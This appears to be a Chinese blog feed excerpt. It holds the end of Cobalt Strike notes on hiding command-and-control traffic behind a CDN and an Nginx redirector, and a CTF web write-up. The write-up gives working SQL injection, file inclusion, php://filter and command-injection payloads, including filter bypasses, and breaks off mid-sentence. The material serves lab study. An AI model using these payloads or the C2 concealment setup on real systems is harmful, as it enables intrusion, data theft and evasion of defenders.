&lt;p&gt;这里有个坑，首先域名的网络不一定好，会遇见异常，各种奇奇怪怪的报错，在搭建过程中最容易遇到的问题是在上完CDN之后，就是流量开始走CDN了，CDN再转发到我的服务器上，这个时候有可能就会出现你的马弹不回来的问题，那这个问题不能排除CDN不能用，有可能是之前修改profile的问题，反正排错的过程很麻烦也很折磨&lt;/p&gt;
&lt;p&gt;profile的域名要指向CDN的域名&lt;/p&gt;
&lt;p&gt;会经过一个非常复杂的链式调用&lt;/p&gt;
&lt;p&gt;你的马会找到CDN，然后CDN再找到你的域名，你的域名再去找你的服务器，你的服务器的profile还需要对这个流量进行一个审核，审核过了再进行一个上线，所以说会非常麻烦&lt;/p&gt;
&lt;p&gt;上了一个CDN服务器这个时候对方其实是找不到你服务器的，对方只能找到一个域名，这个域名也调用不到你服务器，还有就是这个CDN平台免费版的，它的代理端口是有限制的，http只能走80，8080，8880这些端口，具体细节可以去百度搜索一个它开发的端口号，所以说这是非常麻烦的，还不能去指定的去监听某个端口，还有一个小细节就是http可以挂一个二级域名再上线吗，这样就不用弄那个profile的操作了&lt;/p&gt;
&lt;h3&gt;5、反向代理&lt;/h3&gt;
&lt;p&gt;反向代理的话要学一下Nginx，它能做到对流量做一个转发&lt;/p&gt;
&lt;p&gt;我们看一下Nginx的一个配置文件&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/12ec9dd3ed-image-20231224193721663.png&quot; alt=&quot;image-20231224193721663&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以看到其中有一些对流量进行转发的一些配置，通过这种中间件来做一个转发，这个的话说简单也简单，说难也挺难的，就是很难把它调通，然后说如果有一个SSL证书还要在最下面配置一个SSL，那这个还需要再开一台服务器，做跳板机，Nginx转发&lt;/p&gt;
&lt;p&gt;跳板机=&amp;gt;Nginx转发=&amp;gt;CDN=&amp;gt;域名=&amp;gt;VPS&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这一套配置下来就能去打红队的基础设施了，肯定是搞事情才用四和五，要么你在打红队，要么你在干APT&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注：什么是APT？&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;高级长期威胁（简称：APT），又称高级持续性威胁、先进持续性威胁等，是指隐匿而持久的电脑入侵过程，通常由某些人员精心策划，针对特定的目标。其通常是出于商业或政治动机，针对特定组织或国家，并要求在长时间内保持高隐蔽性。

高级长期威胁包含三个要素：高级、长期、威胁。高级强调的是使用复杂精密的恶意软件及技术以利用系统中的漏洞。长期暗指某个外部力量会持续监控特定目标，并从其获取数据。威胁则指人为参与策划的攻击。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;总结一下，其实这个隐藏部分所有的所有都离不开两个关键词---&lt;strong&gt;修改特征和流量转发&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;六、扩展&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;尝试CS和MSF联动，具体可以参考这两篇文章，这里就不过多去做解释和实验了&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;https://blog.csdn.net/weixin_44288604/article/details/119456115&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;---细说——CS联动MSF&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;https://www.freebuf.com/sectool/283399.html&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;---渗透红队必备工具_CobaltStrike4.3_cs与msf联动&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>CTF 题型笔记</title><link>https://wangyi187.top/posts/ctf-question-types/</link><guid isPermaLink="true">https://wangyi187.top/posts/ctf-question-types/</guid><description>CTF题型 一、Basic 二、Crypto 密码学 三、DASBOOK 四、Misc 杂项 五、N1BOOK 六、Pwn 七、Real 八、Reverse 逆向 九、Web 1、</description><pubDate>Wed, 24 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;CTF题型&lt;/h1&gt;
&lt;hr /&gt;
&lt;h2&gt;一、Basic&lt;/h2&gt;
&lt;h2&gt;二、Crypto(密码学)&lt;/h2&gt;
&lt;h2&gt;三、DASBOOK&lt;/h2&gt;
&lt;h2&gt;四、Misc(杂项)&lt;/h2&gt;
&lt;h2&gt;五、N1BOOK&lt;/h2&gt;
&lt;h2&gt;六、Pwn&lt;/h2&gt;
&lt;h2&gt;七、Real&lt;/h2&gt;
&lt;h2&gt;八、Reverse(逆向)&lt;/h2&gt;
&lt;h2&gt;九、Web&lt;/h2&gt;
&lt;h3&gt;1、[极客大挑战 2019]EasySQL&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/m0_62239233/article/details/132916255&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/b3b6bf3b9c-image-20240121204236087.png&quot; alt=&quot;image-20240121204236087&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;一、找到页面与数据库产生交互的地方&lt;/p&gt;
&lt;p&gt;二、判断数字类型（字符型）&lt;/p&gt;
&lt;p&gt;三、使用字符型万能密码 &lt;strong&gt;a&apos; or true #&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2、[极客大挑战 2019]Havefun&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/qq_45766004/article/details/114930782&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/789450155c-image-20240121204554281.png&quot; alt=&quot;image-20240121204554281&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;查看源代码&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/985bf100ec-image-20240121204540940.png&quot; alt=&quot;image-20240121204540940&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;代码审计&lt;/p&gt;
&lt;p&gt;在url上跟着 &lt;strong&gt;/?cat=dog&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;3、[HCTF 2018]WarmUp&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/xhy18634297976/article/details/119494505&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/a76d6dc93e-image-20240121204916928.png&quot; alt=&quot;image-20240121204916928&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;什么都没有，老规矩代码审计，查看源代码&lt;/p&gt;
&lt;p&gt;可以发现有注释有source.php，进行访问可以看见&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
highlight_file(__FILE__);
class emmm
{
    //$page前面加&amp;amp;代表引用，这里是引用传递
    public static function checkFile(&amp;amp;$page)
    {
        //定义whitelist数组
        $whitelist = [&quot;source&quot;=&amp;gt;&quot;source.php&quot;,&quot;hint&quot;=&amp;gt;&quot;hint.php&quot;];

        //如果page变量未声明或为null，或者不是字符串，则进入if
        if (! isset($page) || !is_string($page)) {
            echo &quot;you can&apos;t see it&quot;;
            return false;
        }
        //如果page的值在$whitelist数组里则进入if
        if (in_array($page, $whitelist)) {
            return true;
        }

        //截取从0到？首次出现的位置的字符串
        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . &apos;?&apos;, &apos;?&apos;) //点在php中用来连接两个字符串或变量，此代码意思为拼接page和？的值，并返回？字符首次出现的位置
        );

        //如果_page的值在$whitelist数组里则进入if
        if (in_array($_page, $whitelist)) {
            return true;
        }
        //对page解码
        $_page = urldecode($page);

        //截取从0到？首次出现的位置的字符串
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . &apos;?&apos;, &apos;?&apos;)
        );
        //如果_page的值在$whitelist数组里则进入if
        if (in_array($_page, $whitelist)) {
            return true;
        }
        echo &quot;you can&apos;t see it&quot;;
        return false;
    }
}
//如果file变量为空 且 是字符串  且 通过checkFile 校验，则进入if

if (! empty($_REQUEST[&apos;file&apos;])
    &amp;amp;&amp;amp; is_string($_REQUEST[&apos;file&apos;])
    &amp;amp;&amp;amp; emmm::checkFile($_REQUEST[&apos;file&apos;])
) {
    include $_REQUEST[&apos;file&apos;];
    exit;
} else {
    echo &quot;&amp;lt;br&amp;gt;&amp;lt;img src=\&quot;https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\&quot; /&amp;gt;&quot;;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还有一个hint.php&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/b690ca0c6f-image-20240121205651491.png&quot; alt=&quot;image-20240121205651491&quot; /&gt;&lt;/p&gt;
&lt;p&gt;​	读懂了emmm类的代码后，我们需要构造file的值。本地文件包含漏洞的格式一般是file=../../../.../xxx，其中../的个数不固定，xxx为flag文件名，那么这个xxx具体是什么呢？我们尝试访问一下hint.php，发现提示：flag not here, and flag in  ffffllllaaaagggg，可以猜测到服务器存放flag的文件名可能为ffffllllaaaagggg，我们可以构造的file=../ffffllllaaaagggg，将其带入checkFile中看一下是否可以返回true。&lt;/p&gt;
&lt;p&gt;因此答案为 &lt;strong&gt;/index.php?file=hint.php?../../../../../ffffllllaaaagggg&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;知识详解&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一：php常见函数&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;isset：检测变量是否已声明并且其值不为 null&lt;/li&gt;
&lt;li&gt;in_array：检查数组中是否存在某个值，第一个参数为待搜索的值，第二个参数为要搜索的数组&lt;/li&gt;
&lt;li&gt;is_string：检测变量是否是字符串&lt;/li&gt;
&lt;li&gt;empty：检查一个变量是否为空&lt;/li&gt;
&lt;li&gt;：_REQUEST可以获取以POST方法和GET方法提交的数据&lt;/li&gt;
&lt;li&gt;mb_strcut() ：根据 start 和 length 参数返回 str 的一部分&lt;/li&gt;
&lt;li&gt;mb_strpos()：查找字符串在另一个字符串中首次出现的位置&lt;/li&gt;
&lt;li&gt;urldecode()： 解码已编码的 URL 字符串&lt;/li&gt;
&lt;li&gt;include()：包含并运行指定文件&lt;/li&gt;
&lt;li&gt;include_once() ：include_once 表达式和 include 表达式完全相同，唯一区别是 PHP 会检查该文件是否已经被包含过，如果是则不会再次包含&lt;/li&gt;
&lt;li&gt;require() ：require 和 include 几乎完全一样，除了处理失败的方式不同之外。require 在出错时脚本会中止，而include会继续运行。&lt;/li&gt;
&lt;li&gt;require_once()：require_once 表达式和 require 表达式完全相同，唯一区别是 PHP 会检查该文件是否已经被包含过，如果是则不会再次包含。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;二：文件包含漏洞&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;文件包含漏洞&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;漏洞原因：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;php代码中使用了文件包含函数&lt;/li&gt;
&lt;li&gt;文件包含函数参数可以自定义且没有经过过滤&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;漏洞分类：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本地文件包含漏洞（LFI）：指包含本地服务器中的文件&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ul&gt;
&lt;li&gt;格式：&lt;code&gt;?file=../../../xxxx&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;远程文件包含漏洞（RFI）：指包含远程服务器中的文件&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ul&gt;
&lt;li&gt;php.ini中的allow_url_fopen = On和 allow_url_include = On 时，才可以利用该漏洞&lt;/li&gt;
&lt;li&gt;格式：&lt;code&gt;?file=http://xxxx.xxx/xxxx&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;php中引发文件包含漏洞的通常是以下四个函数：&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ul&gt;
&lt;li&gt;include()：包含并运行指定文件&lt;/li&gt;
&lt;li&gt;include_once() ：include_once 表达式和 include 表达式完全相同，唯一区别是 PHP 会检查该文件是否已经被包含过，如果是则不会再次包含&lt;/li&gt;
&lt;li&gt;require() ：require 和 include 几乎完全一样，除了处理失败的方式不同之外。require 在出错时脚本会中止，而include会继续运行。&lt;/li&gt;
&lt;li&gt;require_once()：require_once 表达式和 require 表达式完全相同，唯一区别是 PHP 会检查该文件是否已经被包含过，如果是则不会再次包含。&lt;/li&gt;
&lt;li&gt;当利用这四个函数来包含文件时，不管文件是什么类型（图片、txt等等），都会直接作为php文件进行解析。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4、[ACTF2020 新生赛]Include&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/weixin_45642610/article/details/112427044&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/aae549476a-image-20240122194843190.png&quot; alt=&quot;image-20240122194843190&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看源码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/1c54215a38-image-20240122195043341.png&quot; alt=&quot;image-20240122195043341&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看到?file=flag.php 猜测文件包含漏洞&lt;/p&gt;
&lt;p&gt;知识点：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php://filter与包含函数结合时，php://filter流会被当作php文件执行。
所以我们一般对其进行编码，阻止其不执行。从而导致任意文件读取。

php://filter 伪协议文件包含读取源代码，加上read=convert.base64-encode，
用base64编码输出，不然会直接当做php代码执行，看不到源代码内容。

php://input 伪协议 + POST发送PHP代码 （不行）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接构造payload&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;?file=php://filter/convert.base64-encode/resource=flag.php&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这里的过滤器是把文件&lt;code&gt;flag.php&lt;/code&gt;里的代码转换（convert）为base64编码（encode）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/c62120b8bd-image-20240122195236912.png&quot; alt=&quot;image-20240122195236912&quot; /&gt;&lt;/p&gt;
&lt;p&gt;base64解码&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/0ea88179b2-image-20240122195344508.png&quot; alt=&quot;image-20240122195344508&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以发现flag是被注释的，所以我们先编码后解码才能得到完整的源码&lt;/p&gt;
&lt;p&gt;得到flag&lt;/p&gt;
&lt;h3&gt;5、[ACTF2020 新生赛]Exec&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/qq_51553814/article/details/119297562&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/6a72a7f66c-image-20240122200007062.png&quot; alt=&quot;image-20240122200007062&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;这一看典型的RCE漏洞&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/8067fc8882-image-20240122200625274.png&quot; alt=&quot;image-20240122200625274&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;并且没有过滤分号和ls&lt;/p&gt;
&lt;p&gt;接着我们就&lt;a href=&quot;https://so.csdn.net/so/search?q=%E9%81%8D%E5%8E%86&amp;amp;spm=1001.2101.3001.7020&quot;&gt;遍历&lt;/a&gt;目录了,通过cd …/达到访问上一个目录的目的，再通过ls 达到查看该目录有哪些文件&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/37f528714d-image-20240122201303126.png&quot; alt=&quot;image-20240122201303126&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以看到查看上三级目录后出现了flag这个文件，接着查看flag就行了&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/2786983ce0-image-20240122201348833.png&quot; alt=&quot;image-20240122201348833&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;6、[GXYCTF2019]Ping Ping Ping&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/qq_51439282/article/details/113378868&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/cf210a8ff2-image-20240122201637382.png&quot; alt=&quot;image-20240122201637382&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;根据提示开ping并ls开始查看当前目录&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/b0fe8a369d-image-20240122202850442.png&quot; alt=&quot;image-20240122202850442&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;如果查看flag.php会发现flag这个词应该被过滤了&lt;/p&gt;
&lt;p&gt;先查看index.php看一下设置什么限制，这里有空格限制，所以我先用$IFS$9绕过(空格绕过：%09，%20，$IFS$9,&amp;lt;&amp;gt;,${IFS},花括号{}，但是这里也就$IFS$9可行)&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/813c6f0fe4-image-20240122203037179.png&quot; alt=&quot;image-20240122203037179&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以发现它禁用了很多符号，这里我们采用内联执行的方式&lt;/p&gt;
&lt;p&gt;所谓内联，就是将反引号内命令的输出作为输入执行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;\?ip=127.0.0.1;cat$IFS$9`ls`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个命令的意思就是先执行ls得到flag.php和index.php并且cat查看这两个文件的内容，把ls的输出当成cat的输入来看(注意此时看到的页面会隐藏flag的相关内容，需要ctrl+u或者F12查看网页源代码才能发现隐藏的flag)&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/ec2618be0e-image-20240122204717053.png&quot; alt=&quot;image-20240122204717053&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;7、[强网杯 2019]随便注&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/m0_73734159/article/details/134049744&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一步：先判断注入点的传参方式，发现是get传参&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第二步：判断闭合方式&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;先输入 1&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/0e552046e4-image-20240123182318956.png&quot; alt=&quot;image-20240123182318956&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;然后再尝试输入 1&apos;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/642acc539e-image-20240123182717233.png&quot; alt=&quot;image-20240123182717233&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;说明了两点：本题的闭合方式确实是 &apos; 闭合，同时我们确定在本题我们是有可能是能使用&lt;code&gt;报错注入&lt;/code&gt;的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos; and 1=1 -- + (在这个框里面的要-- +中间加一个空格在url上就不用)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/4048cda799-image-20240123183416535.png&quot; alt=&quot;image-20240123183416535&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos; and 1=2 -- + 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/c4b0a68130-image-20240123183449752.png&quot; alt=&quot;image-20240123183449752&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;说明闭合方式为&lt;code&gt;单引号&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果输入 1&quot; and 1=1 -- + 和 1&quot; and 1=2 -- + 两次的回显结果一样，说明闭合方式不是 双引号 其他同理&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;第三步：判断是否有关键字过滤&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;先直接输入： select 查看回显，发现&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/d9bc77f84d-image-20240123183721322.png&quot; alt=&quot;image-20240123183721322&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;发现本题过滤关键字：&lt;code&gt;/select|update|delete|drop|insert|where|\.&lt;/code&gt;而且不区分大小写。&lt;/p&gt;
&lt;p&gt;坏了，select一被禁用，&lt;a href=&quot;https://so.csdn.net/so/search?q=%E8%81%94%E5%90%88%E6%9F%A5%E8%AF%A2&amp;amp;spm=1001.2101.3001.7020&quot;&gt;联合查询&lt;/a&gt;，报错注入，布尔,时间盲注就都不可以使用了。我们只剩下了 堆叠注入。&lt;/p&gt;
&lt;p&gt;先尝试使用堆叠注入：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;查看所有数据库&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos;;show database -- +
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/e7a796e643-image-20240123184004554.png&quot; alt=&quot;image-20240123184004554&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以发现什么都没显示，但是可以确定一点可以使用堆叠注入&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;查看所有数据表&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos;;show tables -- +
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/aa5fc3871f-image-20240123185335360.png&quot; alt=&quot;image-20240123185335360&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;爆words数据表的字段&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos;;show columns from `words` -- +
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/5d7f5c2220-image-20240123185732691.png&quot; alt=&quot;image-20240123185732691&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;这里没有flag&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;爆1919810931114514数据表的字段&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos;;show columns from `1919810931114514` -- +
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/8a66e797fa-image-20240123185846690.png&quot; alt=&quot;image-20240123185846690&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;发现flag&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;关于在这里使用 ` 而不是 &apos; 的一些解释：&lt;/p&gt;
&lt;p&gt;两者在linux下和windows下不同，linux下不区分，windows下区分。&lt;/p&gt;
&lt;p&gt;单引号 &apos; 或 双引号 &quot; 主要用于字符串的引用符号&lt;/p&gt;
&lt;p&gt;反勾号 ` 数据库、表、索引、列和别名用的是引用符是反勾号 (注：Esc下面的键)&lt;/p&gt;
&lt;p&gt;有MYSQL保留字作为字段的，必须加上反引号来区分！！！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;方法一：改表名查询&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;可以看到这两个表words表有两个字段，而另一个只有一个字段&lt;/p&gt;
&lt;p&gt;后台SQL查询语句应该是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select * from words where id=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以说只能先查询id字段，然而另一个表只有一个flag字段是肯定爆不了flag的，并且类型为varchar字符串类型，而恰巧words数据表里面的data也是varchar类型，因此从这里就可以得到做题思路，通过rename函数进行改表，把1919810931114514改为words，增加新字段id，将flag改为data，将刚开始那个words表改为其他任意表。&lt;/p&gt;
&lt;p&gt;构造payload：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos;;rename table words to BaiMao;rename table `1919810931114514` to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100) -- +
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;rename修改表名

alter修改已知的列

add增加

int整数类型

unsigned无符号类型

not null- 指示某列不能存储 NULL 值。

primary key - NOT NULL 和 UNIQUE 的结合。指定主键，确保某列（或多个列的结合）有唯一标识，每个表有且只有一个主键。

auto_increment-自动赋值，默认从1开始。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/6c5bbe6603-image-20240123190853370.png&quot; alt=&quot;image-20240123190853370&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;注意此时没有回显flag，就类似于你更新了个东西但是没刷新，重新在文本框里面输入1提交即可回显flag。&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/8c078a2371-image-20240123190939867.png&quot; alt=&quot;image-20240123190939867&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;成功回显flag&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;方法二：编码逃逸 绕过滤&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;由于&lt;code&gt;select&lt;/code&gt;被过滤，考虑使用编码进行绕过
使用select查询就很简单了
构造payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select * from where `1919810931114514`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;*号查询数据表里面的全部内容，这就是爆出flag的原理
进行&lt;code&gt;16进制编码加密&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;73656c656374202a2066726f6d20603139313938313039333131313435313460
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最终payload：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos;;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql -- +
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;prepare...from...是预处理语句，会进行编码转换。

execute用来执行由SQLPrepare创建的SQL语句。

SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

0x就是把后面的编码格式转换成16进制编码格式。

那么总体理解就是，使用SeT方法给变量a赋值，给a变量赋的值就是select查询1919810931114514表的所有内容语句编码后的值，execsql方法执行来自a变量的值，prepare...from...方法将执行后的编码变换成字符串格式，execute方法调用并执行execsql方法。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成果回显flag&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/7870df09da-image-20240123191916803.png&quot; alt=&quot;image-20240123191916803&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;方法三：handler代替select&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;select命令被过滤了怎么办？&lt;/p&gt;
&lt;p&gt;我们还可以用handler命令进行查看，handler命令可以一行一行的显示数据表中的内容。&lt;/p&gt;
&lt;p&gt;构造payload：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos;;handler `1919810931114514` open as `a`;handler `a` read next -- +
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;handler代替select，以一行一行显示内容

open打开表

as更改表的别名为a

read next读取数据文件内的数据次数
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上传payload，回显flag：&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/b83f936602-image-20240123192231918.png&quot; alt=&quot;image-20240123192231918&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;8、[SUCTF 2019]EasySQL&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/qq_46918279/article/details/120188186&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;分析：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;先尝试输入&lt;/p&gt;
